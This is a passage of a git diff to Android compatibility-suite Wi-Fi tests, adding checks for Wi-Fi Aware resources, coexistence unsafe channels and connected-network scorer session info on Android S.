          * on success (specified callback triggered) or false on failure (timed-out or
@@ -438,6 +448,29 @@
                 characteristics.getMaxServiceSpecificInfoLength(), 255);
         assertEquals("Match Filter Length", characteristics.getMaxMatchFilterLength(), 255);
         assertNotEquals("Cipher suites", characteristics.getSupportedCipherSuites(), 0);
+        if (BuildCompat.isAtLeastS()) {
+            mWifiAwareManager.enableInstantCommunicationMode(true);
+            assertEquals(mWifiAwareManager.isInstantCommunicationModeEnabled(),
+                    characteristics.isInstantCommunicationModeSupported());
+            mWifiAwareManager.enableInstantCommunicationMode(false);
+        }
+    }
+
+    /**
+     * Validate:
+     * - AwareResources are available
+     * - AwareResources values are legitimate. When no resources are used, the value should equal to
+     *   the capability.
+     */
+    public void testAvailableAwareResources() {
+        if (!(TestUtils.shouldTestWifiAware(getContext()) && BuildCompat.isAtLeastS())) {
+            return;
+        }
+        AwareResources resources = mWifiAwareManager.getAvailableAwareResources();
+        assertNotNull("Available aware resources are null", resources);
+        assertTrue(resources.getAvailableDataPathsCount() > 0);
+        assertTrue(resources.getAvailablePublishSessionsCount() > 0);
+        assertTrue(resources.getAvailableSubscribeSessionsCount() > 0);
     }
 
     /**
@@ -481,6 +514,9 @@
 
         WifiAwareSession session = attachAndGetSession();
         session.close();
+        if (BuildCompat.isAtLeastS()) {
+            assertFalse(mWifiAwareManager.isDeviceAttached());
+        }
     }
 
     /**
@@ -536,6 +572,11 @@
         PublishConfig publishConfig = new PublishConfig.Builder().setServiceName(
                 serviceName).build();
         DiscoverySessionCallbackTest discoveryCb = new DiscoverySessionCallbackTest();
+        int numOfAllPublishSessions = 0;
+        if (BuildCompat.isAtLeastS()) {
+            numOfAllPublishSessions = mWifiAwareManager
+                    .getAvailableAwareResources().getAvailablePublishSessionsCount();
+        }
 
         // 1. publish
         session.publish(publishConfig, discoveryCb, mHandler);
@@ -543,7 +584,14 @@
                 discoveryCb.waitForCallback(DiscoverySessionCallbackTest.ON_PUBLISH_STARTED));
         PublishDiscoverySession discoverySession = discoveryCb.getPublishDiscoverySession();
         assertNotNull("Publish session", discoverySession);
-
+        assertFalse(discoveryCb.waitForCallback(
+                DiscoverySessionCallbackTest.ON_SERVICE_DISCOVERED));
+        assertFalse(discoveryCb.waitForCallback(
+                DiscoverySessionCallbackTest.ON_SESSION_DISCOVERED_LOST));
+        if (BuildCompat.isAtLeastS()) {
+            assertEquals(numOfAllPublishSessions - 1, mWifiAwareManager
+                    .getAvailableAwareResources().getAvailablePublishSessionsCount());
+        }
         // 2. update-publish
         publishConfig = new PublishConfig.Builder().setServiceName(
                 serviceName).setServiceSpecificInfo("extras".getBytes()).build();
@@ -560,7 +608,10 @@
         discoverySession.updatePublish(publishConfig);
         assertFalse("Publish update post destroy", discoveryCb.waitForCallback(
                 DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
-
+        if (BuildCompat.isAtLeastS()) {
+            assertEquals(numOfAllPublishSessions, mWifiAwareManager
+                    .getAvailableAwareResources().getAvailablePublishSessionsCount());
+        }
         session.close();
     }
 
@@ -620,13 +671,25 @@
         SubscribeConfig subscribeConfig = new SubscribeConfig.Builder().setServiceName(
                 serviceName).build();
         DiscoverySessionCallbackTest discoveryCb = new DiscoverySessionCallbackTest();
-
+        int numOfAllSubscribeSessions = 0;
+        if (BuildCompat.isAtLeastS()) {
+            numOfAllSubscribeSessions = mWifiAwareManager
+                    .getAvailableAwareResources().getAvailableSubscribeSessionsCount();
+        }
         // 1. subscribe
         session.subscribe(subscribeConfig, discoveryCb, mHandler);
         assertTrue("Subscribe started",
                 discoveryCb.waitForCallback(DiscoverySessionCallbackTest.ON_SUBSCRIBE_STARTED));
         SubscribeDiscoverySession discoverySession = discoveryCb.getSubscribeDiscoverySession();
         assertNotNull("Subscribe session", discoverySession);
+        assertFalse(discoveryCb.waitForCallback(
+                DiscoverySessionCallbackTest.ON_SERVICE_DISCOVERED));
+        assertFalse(discoveryCb.waitForCallback(
+                DiscoverySessionCallbackTest.ON_SESSION_DISCOVERED_LOST));
+        if (BuildCompat.isAtLeastS()) {
+            assertEquals(numOfAllSubscribeSessions - 1, mWifiAwareManager
+                    .getAvailableAwareResources().getAvailableSubscribeSessionsCount());
+        }
 
         // 2. update-subscribe
         boolean rttSupported = getContext().getPackageManager().hasSystemFeature(
@@ -652,7 +715,10 @@
         discoverySession.updateSubscribe(subscribeConfig);
         assertFalse("Subscribe update post destroy", discoveryCb.waitForCallback(
                 DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
-
+        if (BuildCompat.isAtLeastS()) {
+            assertEquals(numOfAllSubscribeSessions, mWifiAwareManager
+                    .getAvailableAwareResources().getAvailableSubscribeSessionsCount());
+        }
         session.close();
     }
 
@@ -871,6 +937,22 @@
         assertEquals(parcelablePeerHandle.hashCode(), rereadParcelablePeerHandle.hashCode());
     }
 
+    /**
+     * Test AwareResources constructor function.
+     */
+    public void testAwareResourcesConstructor() {
+        if (!BuildCompat.isAtLeastS()) {
+            return;
+        }
+        AwareResources awareResources = new AwareResources(AVAILABLE_DATA_PATH_COUNT,
+                AVAILABLE_PUBLISH_SESSION_COUNT, AVAILABLE_SUBSCRIBE_SESSION_COUNT);
+        assertEquals(AVAILABLE_DATA_PATH_COUNT, awareResources.getAvailableDataPathsCount());
+        assertEquals(AVAILABLE_PUBLISH_SESSION_COUNT, awareResources
+                .getAvailablePublishSessionsCount());
+        assertEquals(AVAILABLE_SUBSCRIBE_SESSION_COUNT, awareResources
+                .getAvailableSubscribeSessionsCount());
+    }
+
     // local utilities
 
     private WifiAwareSession attachAndGetSession() {
@@ -881,6 +963,9 @@
 
         WifiAwareSession session = attachCb.getSession();
         assertNotNull("Wi-Fi Aware session", session);
+        if (BuildCompat.isAtLeastS()) {
+            assertTrue(mWifiAwareManager.isDeviceAttached());
+        }
 
         return session;
     }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/CoexUnsafeChannelTest.java b/tests/tests/wifi/src/android/net/wifi/cts/CoexUnsafeChannelTest.java
new file mode 100644
index 0000000..a955143
--- /dev/null
+++ b/tests/tests/wifi/src/android/net/wifi/cts/CoexUnsafeChannelTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts;
+
+import static android.net.wifi.CoexUnsafeChannel.POWER_CAP_NONE;
+
+import android.net.wifi.CoexUnsafeChannel;
+import android.net.wifi.WifiScanner;
+import android.test.AndroidTestCase;
+
+import androidx.test.filters.SdkSuppress;
+
+// TODO(b/167575586): Wait for S SDK finalization to change minSdkVersion to
+//  Build.VERSION_CODES.S
+@SdkSuppress(minSdkVersion = 31, codeName = "S")
+public class CoexUnsafeChannelTest extends AndroidTestCase {
+    final static int TEST_BAND = WifiScanner.WIFI_BAND_24_GHZ;
+    final static int TEST_CHANNEL = 6;
+    final static int TEST_POWER_CAP_DBM = -50;
+
+    public void testNoPowerCapConstructor() {
+        CoexUnsafeChannel unsafeChannel = new CoexUnsafeChannel(TEST_BAND, TEST_CHANNEL);
+
+        assertEquals(TEST_BAND, unsafeChannel.getBand());
+        assertEquals(TEST_CHANNEL, unsafeChannel.getChannel());
+        assertEquals(POWER_CAP_NONE, unsafeChannel.getPowerCapDbm());
+    }
+
+    public void testPowerCapConstructor() {
+        CoexUnsafeChannel unsafeChannel = new CoexUnsafeChannel(TEST_BAND, TEST_CHANNEL,
+                TEST_POWER_CAP_DBM);
+
+        assertEquals(TEST_BAND, unsafeChannel.getBand());
+        assertEquals(TEST_CHANNEL, unsafeChannel.getChannel());
+        assertEquals(TEST_POWER_CAP_DBM, unsafeChannel.getPowerCapDbm());
+    }
+}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
index 8502db1..c82d51c 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
@@ -16,26 +16,48 @@
 
 package android.net.wifi.cts;
 
+import static android.Manifest.permission.CONNECTIVITY_INTERNAL;
+import static android.Manifest.permission.NETWORK_SETTINGS;
+import static android.Manifest.permission.READ_WIFI_CREDENTIAL;
+import static android.Manifest.permission.WIFI_UPDATE_USABILITY_STATS_SCORE;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_OEM_PAID;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_OEM_PRIVATE;
+import static android.net.wifi.WifiUsabilityStatsEntry.RateStats;
 import static android.net.wifi.WifiUsabilityStatsEntry.PROBE_STATUS_FAILURE;
 import static android.net.wifi.WifiUsabilityStatsEntry.PROBE_STATUS_NO_PROBE;
 import static android.net.wifi.WifiUsabilityStatsEntry.PROBE_STATUS_SUCCESS;
 import static android.net.wifi.WifiUsabilityStatsEntry.PROBE_STATUS_UNKNOWN;
+import static android.net.wifi.WifiUsabilityStatsEntry.WME_ACCESS_CATEGORY_BE;
+import static android.net.wifi.WifiUsabilityStatsEntry.WME_ACCESS_CATEGORY_BK;
+import static android.net.wifi.WifiUsabilityStatsEntry.WME_ACCESS_CATEGORY_VI;
+import static android.net.wifi.WifiUsabilityStatsEntry.WME_ACCESS_CATEGORY_VO;
+import static android.os.Process.myUid;
 
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
+import android.annotation.NonNull;
 import android.app.UiAutomation;
 import android.content.Context;
+import android.net.ConnectivityManager;
 import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiManager;
+import android.net.wifi.WifiNetworkSpecifier;
+import android.net.wifi.WifiNetworkSuggestion;
 import android.net.wifi.WifiUsabilityStatsEntry;
+import android.net.wifi.WifiConnectedSessionInfo;
 import android.os.Build;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiDevice;
 import android.telephony.TelephonyManager;
 
+import androidx.core.os.BuildCompat;
+import androidx.test.filters.SdkSuppress;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -43,7 +65,8 @@
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.PropertyUtil;
 import com.android.compatibility.common.util.ShellIdentityUtils;
-import com.android.compatibility.common.util.SystemUtil;
+
+import com.google.common.collect.Range;
 
 import org.junit.After;
 import org.junit.Before;
@@ -51,8 +74,11 @@
 import org.junit.runner.RunWith;
 
 import java.util.List;
+import java.util.NoSuchElementException;
+import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
 import java.util.concurrent.TimeUnit;
 
 /**
@@ -64,12 +90,15 @@
 public class ConnectedNetworkScorerTest extends WifiJUnit4TestBase {
     private Context mContext;
     private WifiManager mWifiManager;
+    private ConnectivityManager mConnectivityManager;
     private UiDevice mUiDevice;
+    private TestHelper mTestHelper;
+    private TelephonyManager mTelephonyManager;
+
     private boolean mWasVerboseLoggingEnabled;
 
     private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
     private static final int DURATION = 10_000;
-    private static final int DURATION_SCREEN_TOGGLE = 2000;
 
     @Before
     public void setUp() throws Exception {
@@ -81,6 +110,8 @@
         mWifiManager = mContext.getSystemService(WifiManager.class);
         assertThat(mWifiManager).isNotNull();
 
+        mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
+
         // turn on verbose logging for tests
         mWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
                 () -> mWifiManager.isVerboseLoggingEnabled());
@@ -88,12 +119,22 @@
                 () -> mWifiManager.setVerboseLoggingEnabled(true));
 
         // enable Wifi
-        if (!mWifiManager.isWifiEnabled()) setWifiEnabled(true);
+        if (!mWifiManager.isWifiEnabled()) {
+            ShellIdentityUtils.invokeWithShellPermissions(() -> mWifiManager.setWifiEnabled(true));
+        }
         PollingCheck.check("Wifi not enabled", DURATION, () -> mWifiManager.isWifiEnabled());
 
         // turn screen on
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        turnScreenOn();
+
+        mTestHelper = new TestHelper(mContext, mUiDevice);
+        mTestHelper.turnScreenOn();
+
+        // Clear any existing app state before each test.
+        if (WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(mContext)) {
+            ShellIdentityUtils.invokeWithShellPermissions(
+                    () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+        }
 
         // check we have >= 1 saved network
         List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
@@ -106,33 +147,20 @@
                 "Wifi not connected",
                 WIFI_CONNECT_TIMEOUT_MILLIS,
                 () -> mWifiManager.getConnectionInfo().getNetworkId() != -1);
+        mTelephonyManager = mContext.getSystemService(TelephonyManager.class);
     }
 
     @After
     public void tearDown() throws Exception {
         if (!WifiFeature.isWifiSupported(mContext)) return;
-        if (!mWifiManager.isWifiEnabled()) setWifiEnabled(true);
-        turnScreenOff();
+        if (!mWifiManager.isWifiEnabled()) {
+            ShellIdentityUtils.invokeWithShellPermissions(() -> mWifiManager.setWifiEnabled(true));
+        }
+        mTestHelper.turnScreenOff();
         ShellIdentityUtils.invokeWithShellPermissions(
                 () -> mWifiManager.setVerboseLoggingEnabled(mWasVerboseLoggingEnabled));
     }
 
-    private void setWifiEnabled(boolean enable) throws Exception {
-        // now trigger the change using shell commands.
-        SystemUtil.runShellCommand("svc wifi " + (enable ? "enable" : "disable"));
-    }
-
-    private void turnScreenOn() throws Exception {
-        mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        mUiDevice.executeShellCommand("wm dismiss-keyguard");
-        // Since the screen on/off intent is ordered, they will not be sent right now.
-        Thread.sleep(DURATION_SCREEN_TOGGLE);
-    }
-
-    private void turnScreenOff() throws Exception {
-        mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
-    }
-
     private static class TestUsabilityStatsListener implements
             WifiManager.OnWifiUsabilityStatsListener {
         private final CountDownLatch mCountDownLatch;
@@ -209,6 +237,76 @@
                 assertThat(statsEntry.getProbeElapsedTimeSinceLastUpdateMillis()).isAtLeast(-1);
                 assertThat(statsEntry.getProbeMcsRateSinceLastUpdate()).isAtLeast(-1);
                 assertThat(statsEntry.getRxLinkSpeedMbps()).isAtLeast(-1);
+                if (BuildCompat.isAtLeastS()) {
+                    try {
+                        assertThat(statsEntry.getTimeSliceDutyCycleInPercent())
+                                .isIn(Range.closed(0, 100));
+                    } catch (NoSuchElementException e) {
+                        // pass - Device does not support the field.
+                    }
+                    assertThat(statsEntry.getContentionTimeStats(
+                            WME_ACCESS_CATEGORY_BE).getContentionTimeMinMicros()).isAtLeast(0);
+                    assertThat(statsEntry.getContentionTimeStats(
+                            WME_ACCESS_CATEGORY_BE).getContentionTimeMaxMicros()).isAtLeast(0);
+                    assertThat(statsEntry.getContentionTimeStats(
+                            WME_ACCESS_CATEGORY_BE).getContentionTimeAvgMicros()).isAtLeast(0);
+                    assertThat(statsEntry.getContentionTimeStats(
+                            WME_ACCESS_CATEGORY_BE).getContentionNumSamples()).isAtLeast(0);
+                    assertThat(statsEntry.getContentionTimeStats(
+                            WME_ACCESS_CATEGORY_BK).getContentionTimeMinMicros()).isAtLeast(0);
+                    assertThat(statsEntry.getContentionTimeStats(
+                            WME_ACCESS_CATEGORY_BK).getContentionTimeMaxMicros()).isAtLeast(0);
+                    assertThat(statsEntry.getContentionTimeStats(
+                            WME_ACCESS_CATEGORY_BK).getContentionTimeAvgMicros()).isAtLeast(0);
+                    assertThat(statsEntry.getContentionTimeStats(
+                            WME_ACCESS_CATEGORY_BK).getContentionNumSamples()).isAtLeast(0);
+                    assertThat(statsEntry.getContentionTimeStats(
+                            WME_ACCESS_CATEGORY_VI).getContentionTimeMinMicros()).isAtLeast(0);
+                    assertThat(statsEntry.getContentionTimeStats(
+                            WME_ACCESS_CATEGORY_VI).getContentionTimeMaxMicros()).isAtLeast(0);
+                    assertThat(statsEntry.getContentionTimeStats(
+                            WME_ACCESS_CATEGORY_VI).getContentionTimeAvgMicros()).isAtLeast(0);
+                    assertThat(statsEntry.getContentionTimeStats(
+                            WME_ACCESS_CATEGORY_VI).getContentionNumSamples()).isAtLeast(0);
+                    assertThat(statsEntry.getContentionTimeStats(
+                            WME_ACCESS_CATEGORY_VO).getContentionTimeMinMicros()).isAtLeast(0);
+                    assertThat(statsEntry.getContentionTimeStats(
+                            WME_ACCESS_CATEGORY_VO).getContentionTimeMaxMicros()).isAtLeast(0);
+                    assertThat(statsEntry.getContentionTimeStats(
+                            WME_ACCESS_CATEGORY_VO).getContentionTimeAvgMicros()).isAtLeast(0);
+                    assertThat(statsEntry.getContentionTimeStats(
+                            WME_ACCESS_CATEGORY_VO).getContentionNumSamples()).isAtLeast(0);
+                    assertThat(statsEntry.getChannelUtilizationRatio()).isIn(Range.closed(0, 255));
+                    if (mTelephonyManager != null) {
+                        boolean isCellularDataAvailable =
+                                mTelephonyManager.getDataState() == TelephonyManager.DATA_CONNECTED;
+                        assertEquals(isCellularDataAvailable, statsEntry.isCellularDataAvailable());
+                    } else {
+                        assertFalse(statsEntry.isCellularDataAvailable());
+                    }
+                    statsEntry.isWifiScoringEnabled();
+                    statsEntry.isThroughputSufficient();
+                    RateStats rateStats = new RateStats(WifiUsabilityStatsEntry.WIFI_PREAMBLE_VHT,
+                            WifiUsabilityStatsEntry.WIFI_SPATIAL_STREAMS_TWO,
+                            WifiUsabilityStatsEntry.WIFI_BANDWIDTH_40_MHZ,
+                            2, 20, 100, 200, 5, 10);
+                    assertThat(statsEntry.getRateStats()).isNotNull();
+                    if(statsEntry.getRateStats().size() > 0) {
+                        assertThat(statsEntry.getRateStats().get(0).getPreamble()).isAtLeast(0);
+                        assertThat(statsEntry.getRateStats().get(0).getNumberOfSpatialStreams())
+                                .isAtLeast(1);
+                        assertThat(statsEntry.getRateStats().get(0).getBandwidthInMhz())
+                                .isAtLeast(0);
+                        assertThat(statsEntry.getRateStats().get(0).getRateMcsIdx()).isAtLeast(0);
+                        assertThat(statsEntry.getRateStats().get(0).getBitRateInKbps())
+                                .isAtLeast(0);
+                        assertThat(statsEntry.getRateStats().get(0).getTxMpdu()).isAtLeast(0);
+                        assertThat(statsEntry.getRateStats().get(0).getRxMpdu()).isAtLeast(0);
+                        assertThat(statsEntry.getRateStats().get(0).getMpduLost()).isAtLeast(0);
+                        assertThat(statsEntry.getRateStats().get(0).getRetries()).isAtLeast(0);
+                    }
+                    assertThat(statsEntry.getWifiLinkLayerRadioStats()).isNotNull();
+                }
                 // no longer populated, return default value.
                 assertThat(statsEntry.getCellularDataNetworkType())
                         .isAnyOf(TelephonyManager.NETWORK_TYPE_UNKNOWN,
@@ -256,26 +354,19 @@
         }
     }
 
-    private static class TestConnectedNetworkScorer implements
+    private static abstract class TestConnectedNetworkScorer implements
             WifiManager.WifiConnectedNetworkScorer {
-        private CountDownLatch mCountDownLatch;
-        public int startSessionId;
-        public int stopSessionId;
+        protected CountDownLatch mCountDownLatch;
+        public Integer startSessionId;
+        public Integer stopSessionId;
         public WifiManager.ScoreUpdateObserver scoreUpdateObserver;
+        public boolean isUserSelected;
 
         TestConnectedNetworkScorer(CountDownLatch countDownLatch) {
             mCountDownLatch = countDownLatch;
         }
 
         @Override
-        public void onStart(int sessionId) {
-            synchronized (mCountDownLatch) {
-                this.startSessionId = sessionId;
-                mCountDownLatch.countDown();
-            }
-        }
-
-        @Override
         public void onStop(int sessionId) {
             synchronized (mCountDownLatch) {
                 this.stopSessionId = sessionId;
@@ -285,7 +376,9 @@
 
         @Override
         public void onSetScoreUpdateObserver(WifiManager.ScoreUpdateObserver observerImpl) {
-            this.scoreUpdateObserver = observerImpl;
+            synchronized (mCountDownLatch) {
+                this.scoreUpdateObserver = observerImpl;
+            }
         }
 
         public void resetCountDownLatch(CountDownLatch countDownLatch) {
@@ -295,22 +388,78 @@
         }
     }
 
+    private static class TestConnectedNetworkScorerWithSessionId extends
+            TestConnectedNetworkScorer {
+        TestConnectedNetworkScorerWithSessionId(CountDownLatch countDownLatch) {
+            super(countDownLatch);
+            isUserSelected = false;
+        }
+
+        @Override
+        public void onStart(int sessionId) {
+            synchronized (mCountDownLatch) {
+                this.startSessionId = sessionId;
+                mCountDownLatch.countDown();
+            }
+        }
+    }
+
+    private static class TestConnectedNetworkScorerWithSessionInfo extends
+            TestConnectedNetworkScorer {
+        TestConnectedNetworkScorerWithSessionInfo(CountDownLatch countDownLatch) {
+            super(countDownLatch);
+        }
+
+        @Override
+        public void onStart(WifiConnectedSessionInfo sessionInfo) {
+            synchronized (mCountDownLatch) {
+                this.startSessionId = sessionInfo.getSessionId();
+                this.isUserSelected = sessionInfo.isUserSelected();
+                // Build a WifiConnectedSessionInfo object
+                WifiConnectedSessionInfo.Builder sessionBuilder =
+                        new WifiConnectedSessionInfo.Builder(startSessionId.intValue())
+                                .setUserSelected(isUserSelected);
+                sessionBuilder.build();
+                mCountDownLatch.countDown();
+            }
+        }
+    }
+
     /**
-     * Tests the {@link android.net.wifi.WifiConnectedNetworkScorer} interface.
-     *
+     * Tests the
+     * {@link android.net.wifi.WifiConnectedNetworkScorer#onStart(WifiConnectedSessionInfo)}.
+     */
+    @Test
+    public void testConnectedNetworkScorerWithSessionInfo() throws Exception {
+        CountDownLatch countDownLatchScorer = new CountDownLatch(1);
+        TestConnectedNetworkScorerWithSessionInfo connectedNetworkScorer =
+                new TestConnectedNetworkScorerWithSessionInfo(countDownLatchScorer);
+        testSetWifiConnectedNetworkScorer(connectedNetworkScorer, countDownLatchScorer);
+    }
+
+    /**
+     * Tests the {@link android.net.wifi.WifiConnectedNetworkScorer#onStart(int)}.
+     */
+    @Test
+    public void testConnectedNetworkScorerWithSessionId() throws Exception {
+        CountDownLatch countDownLatchScorer = new CountDownLatch(1);
+        TestConnectedNetworkScorerWithSessionId connectedNetworkScorer =
+                new TestConnectedNetworkScorerWithSessionId(countDownLatchScorer);
+        testSetWifiConnectedNetworkScorer(connectedNetworkScorer, countDownLatchScorer);
+    }
+
+    /**
      * Note: We could write more interesting test cases (if the device has a mobile connection), but
      * that would make the test flaky. The default network/route selection on the device is not just
      * controlled by the wifi scorer input, but also based on params which are controlled by
      * other parts of the platform (likely in connectivity service) and hence will behave
      * differently on OEM devices.
      */
-    @Test
-    public void testSetWifiConnectedNetworkScorer() throws Exception {
-        CountDownLatch countDownLatchScorer = new CountDownLatch(1);
+    private void testSetWifiConnectedNetworkScorer(
+            TestConnectedNetworkScorer connectedNetworkScorer,
+                    CountDownLatch countDownLatchScorer) throws Exception {
         CountDownLatch countDownLatchUsabilityStats = new CountDownLatch(1);
         UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        TestConnectedNetworkScorer connectedNetworkScorer =
-                new TestConnectedNetworkScorer(countDownLatchScorer);
         TestUsabilityStatsListener usabilityStatsListener =
                 new TestUsabilityStatsListener(countDownLatchUsabilityStats);
         boolean disconnected = false;
@@ -326,6 +475,7 @@
             assertThat(countDownLatchScorer.await(DURATION, TimeUnit.MILLISECONDS)).isTrue();
 
             assertThat(connectedNetworkScorer.startSessionId).isAtLeast(0);
+            assertThat(connectedNetworkScorer.isUserSelected).isEqualTo(false);
             assertThat(connectedNetworkScorer.scoreUpdateObserver).isNotNull();
             WifiManager.ScoreUpdateObserver scoreUpdateObserver =
                     connectedNetworkScorer.scoreUpdateObserver;
@@ -347,6 +497,14 @@
             // Reset the scorer countdown latch for onStop
             countDownLatchScorer = new CountDownLatch(1);
             connectedNetworkScorer.resetCountDownLatch(countDownLatchScorer);
+            if (BuildCompat.isAtLeastS()) {
+                // Notify status change and request a NUD check
+                scoreUpdateObserver.notifyStatusUpdate(
+                        connectedNetworkScorer.startSessionId, false);
+                scoreUpdateObserver.requestNudOperation(connectedNetworkScorer.startSessionId);
+                // Blocklist current AP with invalid session Id
+                scoreUpdateObserver.blocklistCurrentBssid(-1);
+            }
             // Now disconnect from the network.
             mWifiManager.disconnect();
             // Wait for it to be disconnected.
@@ -372,8 +530,216 @@
                         WIFI_CONNECT_TIMEOUT_MILLIS,
                         () -> mWifiManager.getConnectionInfo().getNetworkId() != -1);
             }
-
             uiAutomation.dropShellPermissionIdentity();
         }
     }
+
+    /**
+     * Tests the {@link android.net.wifi.WifiConnectedNetworkScorer} interface.
+     *
+     * Verifies that the external scorer works even after wifi restart.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testSetWifiConnectedNetworkScorerOnSubsystemRestart() throws Exception {
+        CountDownLatch countDownLatchScorer = new CountDownLatch(1);
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        TestConnectedNetworkScorerWithSessionInfo connectedNetworkScorer =
+                new TestConnectedNetworkScorerWithSessionInfo(countDownLatchScorer);
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // Clear any external scorer already active on the device.
+            mWifiManager.clearWifiConnectedNetworkScorer();
+            Thread.sleep(500);
+
+            mWifiManager.setWifiConnectedNetworkScorer(
+                    Executors.newSingleThreadExecutor(), connectedNetworkScorer);
+            // Since we're already connected, wait for onStart to be invoked.
+            assertThat(countDownLatchScorer.await(DURATION, TimeUnit.MILLISECONDS)).isTrue();
+
+            int prevSessionId = connectedNetworkScorer.startSessionId;
+            WifiManager.ScoreUpdateObserver prevScoreUpdateObserver =
+                    connectedNetworkScorer.scoreUpdateObserver;
+
+            // Expect one stop followed by one start after the restart
+
+            // Ensure that we got an onStop() for the previous connection when restart is invoked.
+            countDownLatchScorer = new CountDownLatch(1);
+            connectedNetworkScorer.resetCountDownLatch(countDownLatchScorer);
+
+            // Restart wifi subsystem.
+            mWifiManager.restartWifiSubsystem();
+            // Wait for the device to connect back.
+            PollingCheck.check(
+                    "Wifi not connected",
+                    WIFI_CONNECT_TIMEOUT_MILLIS * 2,
+                    () -> mWifiManager.getConnectionInfo().getNetworkId() != -1);
+
+            assertThat(countDownLatchScorer.await(DURATION, TimeUnit.MILLISECONDS)).isTrue();
+            assertThat(connectedNetworkScorer.stopSessionId).isEqualTo(prevSessionId);
+
+            // Followed by a new onStart() after the connection.
+            // Note: There is a 5 second delay between stop/start when restartWifiSubsystem() is
+            // invoked, so this should not be racy.
+            countDownLatchScorer = new CountDownLatch(1);
+            connectedNetworkScorer.resetCountDownLatch(countDownLatchScorer);
+            assertThat(countDownLatchScorer.await(DURATION, TimeUnit.MILLISECONDS)).isTrue();
+            assertThat(connectedNetworkScorer.startSessionId).isNotEqualTo(prevSessionId);
+
+            // Ensure that we did not get a new score update observer.
+            assertThat(connectedNetworkScorer.scoreUpdateObserver).isSameInstanceAs(
+                    prevScoreUpdateObserver);
+        } finally {
+            mWifiManager.clearWifiConnectedNetworkScorer();
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    private interface ConnectionInitiator {
+        /**
+         * Trigger connection (using suggestion or specifier) to the provided network.
+         */
+        ConnectivityManager.NetworkCallback initiateConnection(
+                @NonNull WifiConfiguration testNetwork,
+                @NonNull ScheduledExecutorService executorService) throws Exception;
+    }
+
+    private void setWifiConnectedNetworkScorerAndInitiateConnectToSpecifierOrRestrictedSuggestion(
+            @NonNull ConnectionInitiator connectionInitiator) throws Exception {
+        CountDownLatch countDownLatchScorer = new CountDownLatch(1);
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        TestConnectedNetworkScorerWithSessionInfo connectedNetworkScorer =
+                new TestConnectedNetworkScorerWithSessionInfo(countDownLatchScorer);
+        ConnectivityManager.NetworkCallback networkCallback = null;
+        ScheduledExecutorService executorService = Executors.newSingleThreadScheduledExecutor();
+        List<WifiConfiguration> savedNetworks = null;
+        try {
+            uiAutomation.adoptShellPermissionIdentity(
+                    NETWORK_SETTINGS, WIFI_UPDATE_USABILITY_STATS_SCORE, CONNECTIVITY_INTERNAL,
+                    READ_WIFI_CREDENTIAL);
+
+            // Clear any external scorer already active on the device.
+            mWifiManager.clearWifiConnectedNetworkScorer();
+            Thread.sleep(500);
+
+            savedNetworks = mWifiManager.getPrivilegedConfiguredNetworks();
+            WifiConfiguration testNetwork =
+                    TestHelper.findMatchingSavedNetworksWithBssid(mWifiManager, savedNetworks)
+                            .get(0);
+            // Disconnect & disable auto-join on the saved network to prevent auto-connect from
+            // interfering with the test.
+            for (WifiConfiguration savedNetwork : savedNetworks) {
+                mWifiManager.disableNetwork(savedNetwork.networkId);
+            }
+            // Wait for Wifi to be disconnected.
+            PollingCheck.check(
+                    "Wifi not disconnected",
+                    20000,
+                    () -> mWifiManager.getConnectionInfo().getNetworkId() == -1);
+            assertThat(testNetwork).isNotNull();
+
+            // Register the external scorer.
+            mWifiManager.setWifiConnectedNetworkScorer(
+                    Executors.newSingleThreadExecutor(), connectedNetworkScorer);
+
+            // Now connect using the provided connection initiator
+            networkCallback = connectionInitiator.initiateConnection(testNetwork, executorService);
